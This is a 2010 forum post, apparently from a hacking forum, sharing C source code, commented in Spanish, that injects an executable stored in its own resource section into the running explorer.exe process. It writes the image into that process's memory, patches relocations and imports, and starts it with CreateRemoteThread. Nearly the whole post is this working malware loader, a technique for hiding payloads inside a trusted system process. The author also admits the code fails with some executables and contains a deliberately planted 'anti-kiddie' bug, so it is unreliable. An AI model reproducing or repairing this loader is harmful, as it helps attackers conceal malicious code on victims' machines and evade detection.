Nytro Posted June 16, 2010 Report Posted June 16, 2010 Author: #ZeroZero:Well, this code inject the executable that it has on resource section into 'explorer.exe' process. The code really injects the executable, this will not create a new 'explorer.exe' process.#pragma comment (linker,"/NODEFAULTLIB")#pragma comment (linker,"/ENTRY:main")#include <windows.h>#include <Tlhelp32.h>#include "resource.h"int main(){ PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INTH; PIMAGE_SECTION_HEADER ISH; //Cargamos el resource HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE"); DWORD ResourceSize=SizeofResource(NULL,hResource); HGLOBAL hGlob=LoadResource(NULL,hResource); LPSTR lpFileMaped=(LPSTR)LockResource(hGlob); //Obtenemos la cabecera DOS y PE en las estructuras IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0]; INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew]; DWORD PID=0; HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 pInfo; pInfo.dwSize=sizeof(PROCESSENTRY32); //Obtenemos el PID del 'explorer.exe' Process32First(hSnapshot,&pInfo); for(;lstrcmpA(pInfo.szExeFile,"explorer.exe") { Process32Next(hSnapshot,&pInfo); } CloseHandle(hSnapshot); PID=pInfo.th32ProcessID; //Abrimos el proceso en el que nos inyectaremos HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID); //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable LPSTR ExeBuffer=(LPSTR)VirtualAllocEx(hProcess,0,INTH->OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE); //Copiamos la cabecera DOS y PE al buffer WriteProcessMemory(hProcess,&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders,0); //Copiamos las secciones en su VirtualOffset en el buffer for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++) { ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]; WriteProcessMemory(hProcess,&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData,0); } //Calculamos el delta entre la dirección del buffer y el ImageBase DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase); //------------------------------------------------------------ /* -Reubicamos la dirección base del ejecutable <img src="http://zero.serhackernoesilegal.com/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" class="wp-smiley"> - */ //------------------------------------------------------------ //Si no hay tabla de reubicación, salimos if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0) { MessageBoxA(0,"No hay relocation table!",0,0); return false; } //Obteemos el Image Base Relocation //Copiamos el Image Base Relocation de los datos en el proceso a un buffer en el nuestro para //poder trabajar con él más comodamente PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)GlobalAlloc(GPTR,sizeof(IMAGE_BASE_RELOCATION)); PIMAGE_BASE_RELOCATION PIBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0); //Vamos recorriendo todas las etradas del bloque for (DWORD n=0;IBR->VirtualAddress>0;n++) { //Obtenemos el Bloque de reubicación LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress); //Obtenemos la primera entrada del bloque LPWORD RelocationEntry=(LPWORD)((LPSTR)PIBR+sizeof(IMAGE_BASE_RELOCATION)); //Recorremos todas las entradas del bloque for (DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++) { WORD valor; ReadProcessMemory(hProcess,RelocationEntry,&valor,2,0); //Obtenemos los 4 bits que definen el tipo de reubicación DWORD type=valor>>12; //Obtenemos los 12 bits que definen la dirección de la reubicación DWORD offset=valor&0xFFF; //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta if(type==IMAGE_REL_BASED_HIGHLOW) { //Añadimos a la dirección que depende del imagebase original //el delta entre el imagebase y nuestra dirección base LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset); DWORD NewValue; ReadProcessMemory(hProcess,newAddr,&NewValue,4,0); NewValue+=Delta; WriteProcessMemory(hProcess,newAddr,&NewValue,4,0); } } //Vamos al siguiente bloque PIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)PIBR)+IBR->SizeOfBlock); ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0); } GlobalFree(IBR); //--------------------------------------------------------------------- /* -Cargamos los valores de la IAT para poder llamar a las apis- */ //--------------------------------------------------------------------- PIMAGE_THUNK_DATA ITD; PIMAGE_THUNK_DATA PITD; PIMAGE_IMPORT_BY_NAME IIBN; //Comprobamos si hay Import Data Descriptor if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0) { //Obtenemos el Import Data Descriptor //Copiamos el Import Data Descriptor de los datos en el proceso a un buffer en el nuestro para //poder trabajar con él más comodamente PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_DESCRIPTOR)); PIMAGE_IMPORT_DESCRIPTOR PIID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0); //Vamos recorriendo todas las Dll's importadas por el ejecutable for (;IID->Name;) { //Obtenemos la longitud del nombre de la dll DWORD szName=0; CHAR miByte=1; for(int i=0;miByte;i++) { szName=i; ReadProcessMemory(hProcess,ExeBuffer+IID->Name+i,&miByte,1,0); } //Obtenemos el nombre de la dll LPSTR lpName=(LPSTR)GlobalAlloc(GPTR,szName+1); ReadProcessMemory(hProcess,ExeBuffer+IID->Name,lpName,szName+1,0); //Cargamos la dll HMODULE hLib=LoadLibraryA(lpName); //Obtenemos la dirección al primer miembro del array Image Thunk Data's PITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk); ITD=(PIMAGE_THUNK_DATA)GlobalAlloc(GPTR,sizeof(IMAGE_THUNK_DATA)); ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0); //Vamos recorriendo las funciones importadas for (;ITD->u1.Ordinal;) { miByte=1; //Obtenemos la longitud del nombre de la API for(int i=0;miByte;i++) { szName=i; LPSTR puntero=ExeBuffer+ITD->u1.Function+2; puntero+=i; ReadProcessMemory(hProcess,puntero,&miByte,1,0); } //Cargamos el Image Import By Name para obtener el nombre IIBN=(PIMAGE_IMPORT_BY_NAME)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_BY_NAME)+szName); ReadProcessMemory(hProcess,ExeBuffer+ITD->u1.Function,IIBN,sizeof(IMAGE_IMPORT_BY_NAME)+szName,0); //Obtenemos la dirección de la función y la guardamos en la IAT DWORD lpAPI=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name); WriteProcessMemory(hProcess,ExeBuffer+IID->FirstThunk,&lpAPI,4,0); /* Error HERE!*/ PITD++; ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0); } PIID++; ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0); GlobalFree(lpName); GlobalFree(ITD); } GlobalFree(IID); } //Obteemos el EntryPoint de ejecutable que cargamos en el buffer DWORD EntryPoint=((DWORD)ExeBuffer)+INTH->OptionalHeader.AddressOfEntryPoint; //Llamamos al EntryPoint CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)EntryPoint,0,0,0); return 0;}Some users told me that with some executables the code is not running. I tried to fix it for a long time, but i couldn't do it yet, so with executables who uses de C Run Time Library or some similar, code could fail.Furthermore, I let a anti-kiddie mistake, marked with a "Error Here" comment.Zero Quote